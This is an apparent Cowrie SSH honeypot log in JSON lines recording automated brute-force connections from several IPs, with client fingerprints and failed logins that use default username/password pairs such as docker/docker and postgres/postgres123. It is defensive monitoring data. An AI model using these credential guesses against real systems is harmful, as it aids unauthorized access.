{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:05.499072Z","src_ip":"101.44.96.62","session":"92ab17c00f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:05.716429Z","src_ip":"101.44.96.62","session":"92ab17c00f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"observer","password":"observer","message":"login attempt [observer/observer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:06.366415Z","src_ip":"101.44.96.62","session":"92ab17c00f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:07.586853Z","src_ip":"101.44.96.62","session":"92ab17c00f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45434,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e44972070e","protocol":"ssh","message":"New connection: 101.44.96.62:45434 (159.203.135.109:22) [session: b0e44972070e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:18.875299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:18.879782Z","src_ip":"101.44.96.62","session":"b0e44972070e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57546,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a5fd3803290","protocol":"ssh","message":"New connection: 195.178.110.218:57546 (159.203.135.109:22) [session: 9a5fd3803290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:18.992523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:18.996608Z","src_ip":"195.178.110.218","session":"9a5fd3803290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:19.079290Z","src_ip":"195.178.110.218","session":"9a5fd3803290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:19.097159Z","src_ip":"101.44.96.62","session":"b0e44972070e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:19.318739Z","src_ip":"195.178.110.218","session":"9a5fd3803290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:19.746905Z","src_ip":"101.44.96.62","session":"b0e44972070e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:20.400852Z","src_ip":"195.178.110.218","session":"9a5fd3803290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:20.981004Z","src_ip":"101.44.96.62","session":"b0e44972070e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0103d1eed44","protocol":"ssh","message":"New connection: 101.44.96.62:45648 (159.203.135.109:22) [session: f0103d1eed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:32.220837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:32.225685Z","src_ip":"101.44.96.62","session":"f0103d1eed44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:32.443219Z","src_ip":"101.44.96.62","session":"f0103d1eed44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:33.108857Z","src_ip":"101.44.96.62","session":"f0103d1eed44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:34.330564Z","src_ip":"101.44.96.62","session":"f0103d1eed44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58070,"dst_ip":"159.203.135.109","dst_port":22,"session":"b918e405b918","protocol":"ssh","message":"New connection: 101.44.96.62:58070 (159.203.135.109:22) [session: b918e405b918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:45.701361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:45.706293Z","src_ip":"101.44.96.62","session":"b918e405b918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:45.921018Z","src_ip":"101.44.96.62","session":"b918e405b918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:46.562941Z","src_ip":"101.44.96.62","session":"b918e405b918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:47.779261Z","src_ip":"101.44.96.62","session":"b918e405b918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45598,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a5518adebe5","protocol":"ssh","message":"New connection: 101.44.96.62:45598 (159.203.135.109:22) [session: 3a5518adebe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:59.146269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:59.157943Z","src_ip":"101.44.96.62","session":"3a5518adebe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:59.375554Z","src_ip":"101.44.96.62","session":"3a5518adebe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"password","message":"login attempt [oracle/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:00.027224Z","src_ip":"101.44.96.62","session":"3a5518adebe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:01.253812Z","src_ip":"101.44.96.62","session":"3a5518adebe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b3ab181984","protocol":"ssh","message":"New connection: 101.44.96.62:39836 (159.203.135.109:22) [session: a6b3ab181984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:12.689814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:12.693734Z","src_ip":"101.44.96.62","session":"a6b3ab181984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:12.907605Z","src_ip":"101.44.96.62","session":"a6b3ab181984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:13.549536Z","src_ip":"101.44.96.62","session":"a6b3ab181984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:14.765533Z","src_ip":"101.44.96.62","session":"a6b3ab181984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38870,"dst_ip":"159.203.135.109","dst_port":22,"session":"4531c1d49b6f","protocol":"ssh","message":"New connection: 101.44.96.62:38870 (159.203.135.109:22) [session: 4531c1d49b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:26.149836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:26.154273Z","src_ip":"101.44.96.62","session":"4531c1d49b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:26.371757Z","src_ip":"101.44.96.62","session":"4531c1d49b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:27.023261Z","src_ip":"101.44.96.62","session":"4531c1d49b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:28.240748Z","src_ip":"101.44.96.62","session":"4531c1d49b6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0131eb3f165b","protocol":"ssh","message":"New connection: 2.57.122.238:45838 (10.17.0.5:22) [session: 0131eb3f165b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:36.465496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:36.469796Z","src_ip":"2.57.122.238","session":"0131eb3f165b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ct